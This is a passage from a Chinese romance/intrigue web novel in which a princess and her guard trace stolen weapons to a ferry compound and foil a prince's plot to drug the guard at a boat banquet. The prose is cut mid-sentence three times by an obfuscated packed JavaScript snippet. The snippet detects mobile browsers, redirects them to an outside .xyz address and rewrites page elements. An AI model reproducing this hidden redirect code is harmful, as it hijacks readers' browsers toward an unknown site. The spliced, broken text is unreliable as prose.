算了,这伤还是拜她所赐,要是他方才认真反抗,受伤的就是她了。 她难得长了点良心,对苏戮道:“你自己涂吧。” 苏戮闻言一静,握着药瓶的手指动了动,破天荒的没有立马执行:“……我自己看不到。” 谢郁棠:“有镜子。” 苏戮:“……我手不干净。” 谢郁棠:“去洗手。” 苏戮看了她一眼,那眼神好像并不是全然的欣喜,谢郁棠还未及仔细分辨,少年已经顺从地点了点头,从床上安静起身:“我去打水。” “等等。” 谢郁棠把人按了回去,“我去。” 好不容易才把他今夜到访的事盖过去,她可不想再节外生枝。 门外,刚刚目睹了公主闺房情趣的侍卫们一边守夜一边八卦。 “啧,公主的占有欲是真的强。” “那是有多宝贝,捂得死死的,别说脸了,连根头发丝都不想让人看见。” “我也想被公主看上。” “得了吧,就你这姿色。” “看见那截儿手腕没,爷喝花酒见过的最漂亮的姑娘,手腕都比不过那男的。” 吱呀一声。 被握瑜踹过的檀木雕花门发出并不太动听的声响,侍卫们纷纷噤声。 不一会,就见有婢女端着一盆清水走来,那雕花檀木大门开了一条缝,又很快关上了。 侍卫们眼观鼻鼻观心。 公主是真娇惯那小男宠。 屋内,苏戮在水盆里洗净了手,坐在铜镜前,手里握着药瓶,却迟迟不见下一步动作。 他的伤口又崩裂了一些,长长一道伤口延伸进衣领,应该是方才被她压在床上一番动作导致的。 谢郁棠在不多的良心下再次催促:“脱啊,不脱衣服,怎么涂药。” 苏戮迟疑的也是这个。 他厚着脸皮两次主动请求,谢郁棠都不为所动,她不愿碰他,他又怎能当着谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645443|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁棠的面宽衣解带,唐突冒犯对方…… 这番迟疑落在谢郁棠眼里,让她有了微妙的不爽。 她都已经顾及他,体贴他,控制住自己不在涂药的时候吃他豆腐了,他倒还矜持起来了。 他整个人都是她的。 是他自己把链子扣在脖子上,再把另一头交给她的。 他这样是想反悔吗? 谢郁棠下意识摸了摸左手手腕,腕间金色的细链发出清脆的轻响。 铜镜前的少年抬眸,目光在她手腕上顿了下,又很快被长长的睫毛盖住。 她竟一直都戴着吗? 谢郁棠正要将手腕在少年眼前晃晃,好提醒他这具身体是她的,他必须要细心处理每一处伤口,就见苏戮已经拨开了自己的领口,细长的指尖挑了药膏,涂在锁骨的伤处。 这是谢郁棠第二次看到他的身体。 第一次是在把人从跑马地牵来的那日,她给他的伤口涂药,那时她心中多少带了些试探的心思,想看他到底愿意服从到什么程度,下手没轻没重,还带着调笑和狎昵。 那时候自己怎么就没注意到,这具身体这么好看呢。 薄薄一层肌肉绷在骨骼上,清瘦但不瘦弱,紧绷的时候有很完美的线条,是真正在生死一瞬的战场中淬炼出来的身体。 “……主人,那张轮值表,您看出什么了么?” 少年今晚耳根处的红就没退下去过,实在被看得受不了了,这才出声打断,他说话的时候根本不敢看她,一味低着头很认真的给伤口上药。 谢郁棠又好整以暇看了会才大发慈悲将目光移到轮值表上。 苏戮今夜到访,的确是找到了重大线索——他们可以以此为切入点,抽丝剥茧找出盗窃军械库真凶的线索。 军械库由巡防营负责值守,能将大批兵器神不知鬼不觉地运送出去,巡防营的值守人员就算不是主谋,也绝对算不上清白。 要想找出值守人员的问题,最直观的办法就是调取当日的轮值表,只是这轮值表是巡防营内部机密,就连巡防营的守卫也不能轻易看到,也不知苏戮是如何拿到的。 谢郁棠细细琢磨起这份表格,上面显示夜班的值守人员分为十个班次,从戌时到寅时,每半个时辰更换一次,按照值班的先后顺便分别标为一队、二队……直到十队。 涂着丹蔻的手指在“八队”上轻轻点了一下。 “您也发现这里有问题了。” 苏戮毫不意外谢郁棠能如此迅速看出端倪,在水盆里洗净沾了药膏的手指,再用毛巾很仔细地擦干,“正常的巡视一圈需要三刻钟的时间,每半个时辰换班一次,有充足的余量,可这支小队……” 谢郁棠道:“足足用了一个时辰才完成交班。” “交班提早或延时在巡防营中也不罕见,队员家中有事要先行离开,或路上遇到紧急事件耽搁,都有可能,只需在交接表上注明原因即可。” 苏戮指着“八队”后的一行小字:队员大武腹泻,去西市郎中家中寻药,故延误。 “我去西市郎中那里打听过,那日晚上并未有任何人上门寻药。” 谢郁棠若有所思,抬手从书案上拿出一张图纸,摊开来平铺在案上:“你的意思是,这队人马很可能就是用这多出来的时间转移了巡防营中的军械?” 看着铺开在案上的大兖都城地图,苏戮知道谢郁棠已经和自己想到了一处,眼眸中带了点笑意:“现在有两种可能,一,这队人马根本没有巡视,从交接之初就开始转运军械。二,这队人马是在巡视完一圈之后才开始转移军械。” “前者他们有近一个时辰的时间,后者也有半个多时辰。” 少年修长的手指在都城图上以巡防营为圆心,画了两个圈,两个圆圈的夹层部分,就是这支小队带着军械能到达的所有范围。 谢郁棠提笔蘸墨,按照苏戮所指在地图上将范围圈画出来,原本如堕云雾的谜团仿佛突然间被扯到了线头。 她低头沉思:“军械数量庞大,且需要掩人耳目,能同时符合这两点的地方并不多,这个范围还能进一步缩小。” 苏戮含笑看着握笔沉思的谢郁棠,眼中是毫不掩饰的欣赏:“那主人觉得,哪些地方最有可能?” 案上的烛火静静燃着,桌前的女子刚刚沐浴完,未施粉黛,如瀑的青丝用一个最简单的发髻半绾,扔不掩她整个人的瑰丽华贵,仿佛浓墨重彩的月下海棠。 谢郁棠皓腕轻抬,在都城图上圈了三处。 她抬眸挑唇,明月的光在一霎间晃进眼底:“其中一处最值得怀疑。” 18. 第 18 章 她说有一处最值得怀疑,但是却又不说到底是哪一处,只拿一双眸子瞧他。 苏戮侧了下脸,拾起桌上毛笔,在都城图上勾了一笔。 他的手生得实在太好看。 骨指分明,每根指节都匀称修长,手腕内侧有微凸的筋,直到苏戮放下毛笔,谢郁棠垂了下眼,这才将目光移到地图上。 渡口。 方才她圈了三处,一处离军械库太近,虽然存放军械方便,但要想掩人耳目地运出去可就太难;另一处虽然位置利于掩人耳目,但地势偏狭,不利于运输,只有这一处—— 谢郁棠盯着他勾画的笔痕看了片刻,抬眼看向面前静默执笔的少年:“为什么是渡口?” “对方偷盗军械,把东西从巡防营运出只是第一步,最关键的是还要能把军械运回去。” 少年将狼毫置于笔架上,指尖在地图上某处虚虚一点:“这里有个废弃的宅院,离渡口一里地不到,以前是工部用来存置水利设施的,后来皇上在西郊新划了区域,这里就渐渐废弃,被兵部要来改建成了屯田种粮的地方。” 他说得信手拈来,但这背后所需要的是强大的信息网和对朝政时局的把控,谢郁棠也是靠着上一世浸淫朝政的经历,才能看出这背后的弯弯绕绕。 眼前这个比她还年少些的少年又是如何做到的? 谢郁棠目光落在他脸上,勾了下唇角:“看来苏世子也关心朝堂之事。” 苏戮垂下眼眸,算是默认。 见他并没有进一步解释的打算,谢郁棠也不置可否。 他既承诺忠于她,那么在实质性的背叛举动之前,她不介意给予对方一定的空间。 “论大小,这里放得下大量军械,论远近,此处离军械库不到一个时辰的脚程,最重要的是——渡口。” 谢郁棠的指尖顺着地图上少年方才点过的地方向下划去:“要想把这么大一批军械神不知鬼不觉地运送出去,比起盘查森严的陆路,水陆无疑要便利得多。综合考虑之下,把军械暂存在这个靠近渡口的宅院,是最佳选择。” “属下会找机会去查。” “不必。” 苏戮毕竟还在巡防营卧底,虽然知道他手段了得,但到底还是风险太大。 谢郁棠心中已有了计较:“此事你且等我消息,如果顺利的话,本宫和你一起,正大光明的去。” 事实比她预想的更加顺利。 三日后,三皇子蔺檀邀请宁安公主谢郁棠游船的消息不胫而走,传遍了整个大兖都城。 “三殿下可是煞费苦心,这船上从屋舍布置到甜点茶酒,全都是由三殿下一一安排布置的,咱们三殿下虽然早有通文雅知意趣之名,但如此细心操持,还是第一回,甚至啊——” 微醺状态的巍咸西手里拿着一根竹筷,和着鼓点敲着碗沿,指了指面前的歌舞艺伶,“甚至专程将都城最负盛名的舞姬乐团邀来船上,为您歌舞助兴。” 皇子公主出游,护卫安全的工作自然便落在了巡防营身上,蔺檀身为皇子不说,还有独得圣眷的宁安公主谢郁棠,如此两位香饽饽,能有一个在身旁护卫伴游的机会,是多少人做梦都求不来的。 也怪不得巍大统领如此尽心尽责地拍着马屁,讨两位主子欢心。 谢郁棠只不咸不淡地饮茶。 蔺檀因那日与宁妍儿同游灯会而心生愧意,第二日便差小福子递了话,想约个日子单独邀谢郁棠同游。 小福子心里也明白上次是自家主人做得不地道,原本都做好了吃闭门羹的准备,谁知谢郁棠竟同意了,还直言——她要游船。 蔺檀自然依她,不仅游船,甚至连游船的路线也全由着谢郁棠。 蔺檀自觉此番自己诚意十足且体贴温柔,原以为谢郁棠就算是千年的冰山也得化了,没想到竟还是这么一副不冷不淡的模样,这一场酒吃下来,任是巍咸西怎么带节奏,她连一个眼神都欠奉,倒是朝门外看了好几眼。 蔺檀敛在衣袖中的手渐渐泛白。 她还是忘不了那个小杂种。 门外站着的就是苏戮——作为武试第一,理所当然被“抽调”来船上执行守卫职责。 临行前巍咸西很上道地来拜访他,说三殿下不想看到的人他有一百种理由让对方无法出现。 但蔺檀拒绝了。 他不仅要让这小杂种来,还要弄一出好戏给谢郁棠看。 不是他蔺檀不大度,实在是这小杂种忒不安分,他要是乖乖在巡防营做个侍卫也就算了,竟然还敢在灯会那晚私会谢郁棠,媚上惑主。 宁安公主什么身份,他一个胡人舞姬的贱种,被赶出门去还不知要脸,竟想妄攀高枝。 收到蔺檀的暗示,魏咸西敲碗的动作微微一顿,不动声色地攥紧了袖中用纸包住的药粉。 “苏世子,海风湿冷,喝壶酒暖暖,不然到了下半夜撑不住。” 酒宴至半,巍咸西来到门口值守的苏戮面前,一副亲切慰问的样子,他一手搭在苏戮肩上,关切地拍了拍,被酒意熏红的脸上满是和善的笑。 苏戮静静看着他手中拧开的酒囊。 巍咸西脸上的笑渐渐有些挂不住,苏戮那一双平静淡漠的眸子盯住他,有一个瞬间甚至让他以为自己在酒中下了药的事已被看穿。 苏戮终于在这时抬手接过了他的酒囊。 直到看着对方将酒喝下,巍咸西心里才暗暗松了口气,重新挂上统领关怀下属式的笑:“苏世子好好干,咱们巡防营虽比不上宁安公主的公主府,但也不是等闲之地,以苏世子的武学才干,定能大有前途!” 苏戮平静地抱拳:“还望巍统领多担待。” 天色渐晚,夕阳的余晖在少年瓷白的皮肤上刷了层蜜,混着胡人味道的一张脸在这光影的变换中愈发明艳摄魄。 巍咸西的呼吸停顿片刻,哈哈一笑,又说了些场面话,这才转身离开。 迎面走来一列方才舞毕退下的舞姬,巍咸西冲末尾那个粉色水袖的使了个眼色,那舞姬略一颔首,在下一个转角处离了队列,向苏戮值守的方位走去。 那壶酒里下的是什么药,实在是太容易猜,巍咸西一转身,苏戮就将含在口中的酒吐进海里。 他暗暗运了内里,将面色蕴得微红,装作药效发作后意识到不对的样子,紧绷着身体往内舱走去。 “这位公子可是喝多了酒?” 一道媚意的女声自身后响起,随着声音一道逼近的还有馥郁的合欢香,让人闻之骨酥。 此时天色渐昏,宴饮正酣,内舱紧闭的房屋内亦不时有令人面红耳赤的声音传出。 苏戮却在这一瞬想起了谢郁棠身上若有似无的幽兰清香,舞女见他原本凌冽的神色柔和了片刻,以为是自己的魅惑见了效,暗喜之下语气越发地放肆娇嗲。 身为大兖府城最富盛名的舞姬,其实她最擅长的不是舞蹈,而是风月之事。 多少男人一掷千金只为了一亲芳泽,她看着他们在塌上丑态百出,嘴是笑的,心却是冷的,在她心里,男人同狗无异。 都是那种只要给块骨头就会摇着尾巴往上扑的。 可没有一人同眼前这位公子一般。 她从未见过这般好看的人。 好看到让她心甘情愿的主动往上扑。 就算只是春风一度,也值了。 那舞姬柔弱无骨地缠了上去,将自己最娇媚最温软的一面尽数释放,呵气如兰:“不如让小女照拂一下公子……” 谢郁棠一直关注着苏戮的状态,见对方离了值守岗位后一直没有回来,便要起身去寻。 蔺檀未展的扇骨在桌上轻轻一摁,正要开口,谢郁棠一个眼风已经扫了过去:“怎么,你要阻拦本宫?” “怎么会呢?” 蔺檀抓着扇子柔和一笑,笑中有些自嘲,“棠棠把我想成什么了?苏世子怎么说也曾是本宫的伴读,又是棠棠你府上的旧人,本王只是担心罢了。” 蔺檀此番言辞更让谢郁棠确信此事有蹊跷,不妨就看看他到底耍的是什么把戏,两人走出舱门,甲板上果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651163|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到处不见苏戮的身影,蔺檀拦住一个送酒小厮,那小厮明显知道些什么,眼神躲闪,支支吾吾。 “苏世子到底去哪了,说!” “回、回三殿下,回公主,小的刚刚看到、看到苏侍卫搂了一位舞姬,去二楼客房了……” “胡说!” 蔺檀厉声开口,大声道,“苏世子不过是喝多了酒,纵是年轻人气血方刚,哪儿会见到一个美貌舞姬就把持不住,要搂着人去客房的,你可是看清楚了?若有一字虚言,本王把你丢到河里喂鱼!” 他这么一呵斥,大半个甲板上的人都听了个清清楚楚。 大兖民风开放,王宫贵族游船宴饮,也常有酒醉之后的风流艳事,已有不少男客搂着舞姬侍女往二楼客房里去。 那小厮跪倒在地,抖如筛糠:“三殿下明鉴,小的句句属实,确实是亲眼看到苏世子搂着那舞女往二楼去了,进了天字五号房!” 蔺檀手里把弄着折扇,正要再说些什么,谢郁棠已经绕过小厮,长袖一甩,抬步直往那二楼厢房去了。 “棠棠!” 蔺檀在后面追。 甲板上路过的宫女侍从,见到谢郁棠风风火火地朝内舱赶,后面还跟着三皇子,纷纷吓得大气不敢出,远远便让开一条道。 蔺檀终于在一个拐角处追上谢郁棠,抓住她手腕。 “怎么,方才刚说过担心苏世子,这会儿怎么又拦起本宫了?” 蔺檀压低声音,咳嗽一声,“棠棠有所不知……不是本王故意拦着,是因为……现在不方便打扰苏世子啊!” 谢郁棠斜睨一眼。 “苏世子年少方刚,又饮了烈酒,现在恐怕……”蔺檀以衣袖掩嘴,一露出点恰到好处的“男人懂男人”的体谅,“不如等此事结束,本王做出将那舞姬给了苏世子。” “你就这么确定?” 蔺檀话说到一半被谢郁棠打断,微微一愣,“你说什么?” “我说三殿下就这么确定苏世子现在与那什么舞姬在房中行风月之事?” 那当然。 那可是“骨酥”。 江湖中人人闻之色变的顶级媚药“骨酥”。 尼姑庵里的尼姑都能化作一摊快活水,得到高僧中了也得乖乖睡进温柔乡。 酥人骨,迷人魂,非行风月之事不可解……除非活活憋死。 他费了好大的劲才搞来这么一点,为的就是万无一失。 那小杂种灯会节私会谢郁棠也就罢了,也不知使了什么手段,竟能勾得谢郁棠今日当然众人的面依旧如此维护。 他堂堂大兖三皇子,竟还不如一个小杂种。 他的脸往哪放?! 明明他蔺檀才是谢郁棠心心念念挂怀之人,明明他蔺檀才是被谢郁棠一门心思追着捧着的人。 这一切原本是他的!他的! 蔺檀想起那日马车里的画本,这种就会凭着下作手段以色侍君的小杂种,他偏要弄脏了他,看他还拿什么勾搭人。 况且……那舞姬还是房中术的一把好手,就没男人能抵抗得了,那小杂种还中了药。 男人嘛,就算平日里再装得冰清玉洁,到了这种时候,嘿嘿……他千算万算,就是要让谢郁棠现场抓奸。 谢郁棠的性子他是知道的,最恨背叛。 若是让她亲眼瞧见自己的栾宠同别的女人在榻上云雨……用不着他开口,她自然就会把人丢的远远的,连看一眼都嫌晦气。 谢郁棠冷眼瞧着蔺檀神色,心里早就透亮,从巍咸西到甲板上的小厮再到这房内的舞姬,只怕都是他早就安排好的。 谢郁棠眼底寒意一闪而过。 她想过蔺檀会使点手段,只是没想到能这么下作。 是真的连身为皇子的体面都不要了。 谢郁棠冷笑一声,正要抬脚踹门,身后却有人先她一步,将门大大推开。 蔺檀一脸都是为了她的样子: “棠棠,你若非要亲眼看了才甘心,本王便陪你捉了这对狗男女!” 19. 第 19 章 雕花木门被甫一踹开,众人只觉眼前一花,谢郁棠便被人扑了个满怀。 她每日练武修骑,反应自是比旁人更快,况且二人朝夕相处,早已对彼此熟悉得不能再熟悉,因而那人影未入怀中她便已知晓是谁,下意识先接住了,低头看去,却是一愣。 怀里的少年像是刚从水里捞出来,头发黏在鬓角,睫毛上缀着水珠,就连平时削薄的唇都铺上了一层水光,整个人脆弱的像是一具瓷器,浑身散发着“快来把我打碎”的诱惑。 勾魂摄魄。 蔺檀都给这一幕干懵了,脸上还挂着一副大义锄奸的表情,半晌没反应过来。 魏咸西一声惊呼:“媚娘!?” 蔺檀循声看去,握剑的手又是一僵。 只见自己费尽心思安排找来的所谓“艳绝大兖”的媚娘,此时正端端正正坐在床上,口不能言,手不能动,一看就是给人点了穴。 最绝的是,本来□□半露的纱裙此时正规规矩矩地裹在她身上,规矩方正得可以直接去尼姑庵敲木鱼。 …… 众人不约而同沉默了一下。 本该因“酒后乱性,不守男德”被乱棍打死的小贱人此时正洁身自好地倒在谢郁棠怀里,眼瞅着三皇子脸色原来越黑,巍咸西福至心灵大喝一声:“何人如此大胆,连公主玉体也敢冲撞?!” “来人,把他给我拿下! “我看谁敢动手。” 四周的侍卫刚一动作,便被谢郁棠淡声一句定在原地。 她垂眸去探怀中人的手腕。 蔺檀会使手段并不稀奇,但如此下作还是令谢郁棠开了眼。 眸底冷意愈发浓重,却在探到他脉搏时微不可察地一顿。 怀中人也恰到好处地抬眸。 二人目光相接,那双鹿一般的眸子浸了水,带着三分怜弱三分无辜地冲她眨了一下,饶是谢郁棠也看得心漏跳一拍。 “我看谁敢抗命!” 蔺檀目眦欲裂,早把什么温和宽仁的面具抛到脑后,恨不得亲手把那贱人从谢郁棠怀里拉出来剔骨剥皮。 “此人色胆包天,以下犯上,轻薄公主,按律当斩!” “还愣着干什么,还快不把人给我拿下!” 侍卫刚一动作。 谢郁棠:“谁敢。” 侍卫定在原地。 蔺檀:“给我上!” 侍卫再一动作。 谢郁棠:“放肆。” 侍卫:…… 要不把我们宰了给您俩助助兴? “棠棠!” 蔺檀一脸恨铁不成钢,“你身为我大兖公主,当时刻谨记贤良淑德,平日里那些女德女戒你是怎么读的?这样当众同一个男人……你将天家颜面置于何处?” 蔺檀自问是一翻苦口婆心,谁知谢郁棠眼皮都没抬一下,怀里稳稳抱着那小贱人,慢条斯理,“你们不都说本宫养了条狗么,怎么,现在想起来人家是人了?” 蔺檀:“……” 一时间竟无言以对。 他的确是纵着手下欺负过那小杂种。 可现在是翻旧账、讲歪理的时候吗? 谢郁棠指尖在少年脖颈上划了一圈,似笑非笑: “乌追的链子你还记得吧,就扣在这里。当时三殿下也在场,想必也记忆犹新吧。” 涂着丹蔻的指尖从少年脖颈一路滑到下颌,完全摆弄自己所有物的姿态:“本宫念旧,养过的,无论是人是狗,见不得他受委屈。” 说完,便护着人往外走。 蔺檀神色一紧:“你做什么?” “三殿下一向聪明,我做什么,你还看不出啊?” 尾音里的旖旎之意再配上当前情景,任谁都听得明白。 众人皆默默无言,有的看天,有的看地。 尽可能减少自己的存在感。 三皇子那一通贤良淑德的说辞,压压寻常女子还行,这位可是宁安公主啊。 况且人苏世子这么个长相,靠女德女戒压得住,那都能坐地成佛了。 “他跟舞姬同处一室不清不白,一开门就往你怀里扑,你呢,问都不问上一句就准备把人带走,你、你简直——不知羞耻!” 一向最重脸面的蔺檀当众说出这般话来,可见是气疯了。 谢郁棠在人腰上摸了摸,柔和问道:“苏世子,这是怎么一回事?” 根本用不着问。 苏戮这副样子,看上一眼都明白是怎么一回事—— 给人下药了呗。 还是那种超级猛,超级烈,见效超级快的药。 在场的侍卫都是男人,男人最清楚男人,这种程度还能忍,牛逼。 那漂亮得过分的少年听到谢郁棠问话,也只是勉强吐出几个气音,半个有实质意义的音节都没,谢郁棠也不在意,在他背上抚了抚:“没事。” 说完便要将人带走。 蔺檀死死挡在门前,半步都不肯挪。 谢郁棠不耐烦:“三皇子让问本宫也问了,还有何贵干?” “谢郁棠,你故意的是不是?” “是。” 蔺檀没料到谢郁棠这般不给面子,噎的脸都绿了。 巍咸西眼看不好,赶紧打圆场:“不如容在下先传随船的医者来看上一看?” 谢郁棠哪里不知他打的什么主意,冷笑一声:“你觉得我信得过?” 巍咸西尴尬万分。 这船上都是巡防营的人,苏戮是在他眼皮底下被搞成这副摸样的,若要追究下去,他给的那壶酒可经不起查,就算不查那壶酒,他也照样难辞其咎——要么是他巍咸西御下无方,要么,是他蓄意加害。 巍咸西只觉两股战战,连忙伏地跪倒,冷汗涔涔:“……那依殿下的意思?” 谢郁棠:“即刻停船靠岸。” 在场众人无不一惊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657763|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们原以为这宁安公主不过是随便在船上找个空房间宠幸人罢了,没想到竟这般兴师动众,一时间看苏戮的眼神跟看史书里的那些祸国妖姬没什么两样。 但再瞅瞅苏戮那张脸…… 又觉得一切都可以理解。 巍咸西的惊则在别处。 若现在停船靠岸,那靠岸的地点—— “谢郁棠!” 蔺檀强压怒意,“你身为大兖公主,竟为了这么一个……”他努力把“小杂种”三个字咽了回去,“如此兴师动众?” 巍咸西也赶紧跟上:“是啊殿下,况且这游船本就是三皇子特地为您准备的,您就算念着三皇子的好,也不该……” “殿下。” 突然低低柔柔的一声,音量不大,却吸引了所有人视线,巍咸西也倏然噤声。 只见那偎在谢郁棠怀里的人,发丝被汗水浸了透,漆黑的贴在红透了的瓷白肌肤上,这一声“殿下”听得周围五大三粗的大老爷们都心弦莫名地颤了三颤。 他就叫了这么一声,便不再言语,紧闭双眼,蹙着眉,额头难耐地在谢郁棠滚金边的衣襟上蹭了蹭。 …… 众人的表情空白一瞬,在心里靠了一声。 这谁特么顶得住啊。 谢郁棠当下便沉了声:“巍大统领,本宫叫你即刻停船。” 巍咸西还欲分辨。 谢郁棠面色骤冷:“本宫的话,你听还是不听?” …… 巍咸西哆哆嗦嗦滚去停船了。 谢郁棠当着众人的面,揽着苏戮的腰往船下走,隐有亡国之君的风范。 金线滚边的绣鞋眼看就要迈下船沿。 “谢、郁、棠!” 蔺檀目眦欲裂,形容狼狈地站在甲板上。 谢郁棠这样带一个中了药的男人下船,是个人都知道她要干什么。 比当众剐了他还让他难堪。 “……棠棠。” 冷意从脚趾尖寸寸直往上冒,蔺檀深吸一口气,尽力放柔声音,“你现在回来,回来好不好?我当一切都没发生过。” 谢郁棠当没听到,眉毛都没动一下。 江风鼓动她的衣衫,宽大的袖袍张扬在天地间,像是延绵千里的红莲与业火。 这一切都是蔺檀讨厌的。 因为他讨厌,所以她不穿红衣。 因为他讨厌,所以她敛尽一身张扬肆意。 因为他讨厌,所以她笨拙地学做无聊的女工。 因为他讨厌,所以她活成了自己最讨厌的样子。 蔺檀久久注视着谢郁棠的身影。 他在这一刻猛然明白,他不是讨厌,是害怕。 害怕这样夺目的女子,一旦回归天地,便不会再受自己掌控。 他终于疯疯癫癫笑了出来,嘴角的笑越咧越大,面容阴骘,握紧的双拳几欲出血:“好得很,好得很呐……” 20. 第 20 章 谢郁棠搂着人下了船,岸边已经列队站好了巡防营的守兵,甚至还有一架匆匆抬来的轿撵。 即使是这样一个临时起意的荒诞要求,底下人亦是战战兢兢兴师动众, 唯恐一个不慎,触了这飞扬跋扈又顶难伺候的宁安公主的霉头。 谢郁棠扶着中了药的苏戮,眼眸微阖。 她要的就是这个措手不及,对方越是慌乱,就越容易露出破绽,她索性就把这飞扬跋扈的恶名坐实到底。 马鞭一扬,凌空“啪”地抽出一响,震得正满脸堆笑迎上来的兵头虎躯一凛,谢郁棠几步跨过装饰着大红绸缎的浮夸轿撵,从最近的侍卫手中抢了匹马,转身抱人,翻身,上马的动作行云流水一气呵成,等众人回过神来,只见一席红袖裹着一个男人已经打马转过街角去了。 …… 拱手正要行拜礼的兵头在马蹄扬起的飞尘中凌乱了。 京中一向盛传宁安公主骑射双绝,如今一见……竟是连抱着个男人都这般利索! 这念头还没转完,脑门上突然被人拍了一把,从船上气喘吁吁追下来的魏咸西一边上马一边急声喝到:“还愣着干嘛?还不快追!” 追是不可能追到的。 守门小厮听到门外飒踏的马蹄声,心里一哆嗦,竟然这么快! 小厮僵笑着迎出来,捏捏诺诺就是不肯开门,谢郁棠一鞭子抽到他脚下,直接给人吓得咚的一声跪了下去,头磕得哐哐响。 “公主恕罪!公主殿下饶命啊!小的只是看大门的,不干小的事,小的真的什么都不——” “放肆!” 一道厉声疾呼打断了小厮的语无伦次。 魏咸西堪堪御马赶到,满面堆笑地朝谢郁棠恭恭敬敬作了个揖,语气谦卑到不行:“公主殿下恕罪,手下人没见过世面,卑职看他咋咋呼呼的,恐惊扰了殿下。” 谢郁棠呵了一声,虽然什么都没说,但意思很明显——也不知道是谁咋咋呼呼。 魏咸西挂在脸上的笑僵了一瞬。 谢郁棠靠岸的决定太过突然,他又不可能让传话的人说太多,只能仓促之间通知手下人准备迎接公主大驾,这帮不中用的八成是以为事情败露,公主追责来了。 还好他赶得快,要是再晚来半刻,保不齐被这不中用的抖出多少东西。 不就是他情急之下嗓门大了点嘛。 ……怎么就“咋咋呼呼”了。 这魏咸西平日里欺上媚下吃拿卡要,对手下是从没半分好脸色的,如今吃瘪,也算喜闻乐见,可众人却没什么看戏的心思,一个个都跟那看门小厮一样,心虚的紧。 谢郁棠假装没看到众人神色有异,只一心一意紧张着怀里的美人,魏咸西十分体贴:“苏世子中了药,公主救人心切,这才选了此处落脚。”顿了顿,他扬声道,“厢房可收拾好了?” 这话明里是关心,实际上是安抚下人的。 果然,知道公主不是来“追责”的,众人都明显松了口气。 至于公主怎么个“救人心切”……落在苏戮身上若有似无的视线也越发多了起来。 魏咸西谄媚地躬身迎手:“殿下,这边请。” 谢郁棠揽在苏戮腰上的手不动声色收了下,抬步向里屋走去。 那魏咸西一路上嘴叭叭的,什么上好的熏香啦,新换的锦被啦,已经在烧的热水啦,眼看着还要跟进屋去,被谢郁棠瞥了一眼,浑身一僵,摸摸鼻子在门前怏怏停下了。 谢郁棠的心情给这姓魏的搅得委实不大好,手上就没了轻重,自己都没意识到把怀里人的腰掐得是怎样一番滋味。 痛倒是不痛,就是酥酥麻麻痒痒的,躲又躲不了,推又不能推,硬是把战场上白刀子进红刀子出哼都不哼一声的小慕清王给弄得快受不住了。 谢郁棠关上门,随意瞥了眼怀中人,只觉得有什么不对,还不等她看个明白,怀里骤然一空,前一刻还乖巧地被她圈禁在怀的少年已然单膝跪地,垂眸请罪:“属下只想着将计就计,冒犯了殿下,请主人治罪。” ……要不是后面那张桌椅碍事,这人都能退到墙根去了。 刚刚还抱她抱得那么紧。 谢郁棠不动声色地拢了拢衣袖:“一句“殿下”,一句“主人”,你倒是拎得清。” 少年一僵。 谢郁棠已上前一步,抓住他的下巴,迫人抬头:“本宫明明看你——” 说到一半的话戛然而止。 被她掐住的下巴尖……好红。 不止是下巴,脖颈、锁骨,一路上移到耳后,瓷白肌肤覆上了一层淡粉,轻微急促的呼吸声打在她的虎口上,烫得她猛地收了手。 少年有些狼狈地侧过脸去,垂下的浓睫颤得厉害。 “你……”谢郁棠一时不知所措,竟也有些忐忑,“真的中药了?” 刚想试探对方的温度,少年向后躲了一下,片刻后才低声道:“……没有,属下无碍。” 谢郁棠后知后觉地回想起来,方才这人是在她面前恭恭敬敬地跪着,从态度到姿势都倒是挑不出半分差池,但——、 头是低垂着的,目光是不敢看她的,耳根是通红的,胸膛是起伏的,就连那声“殿下”和“主人”,细听之下都不难发现颤抖的尾音。 回过味儿来的谢郁棠心里那点微妙的不爽瞬间烟消云散。 “想不到,咱们苏世子的脸皮这般薄。” 苏戮呼吸一窒。 还说他脸皮薄,她到底知不知道自己刚刚都做了什么。 扣他的腰扣得那样紧,他们之间就隔着薄薄一层衣服,马背上还那么颠簸。 他主人心情不爽的时候会下意识摩挲手指,但她是不是忘了,当时她的手就放在他腰上。 谢郁棠越发觉得眼前这小慕清王是个看不透的人。 他现在能被她掌控,只是因为他自己愿意被掌控而已,但这背后的原因,她并不十分清楚。 可就在刚刚,她好像看到这只严丝合缝的贝壳忽然开了一条缝。 谢郁棠来了劲,伸手就要把人拎起来。 可她俯身太久,腿早就麻了,刚一动作自己就先重心不稳晃了一下。 “小心!” 只听“咚——”的一声,脊背结结实实撞上门板的声音,把趴在门外偷听的魏咸西吓了一跳。 门内谢郁棠压在苏戮身上,手下意识撑在门板两侧,无形中形成一个禁锢的姿势。 被禁锢在身下的少年却紧张地看着她:“您还好吗 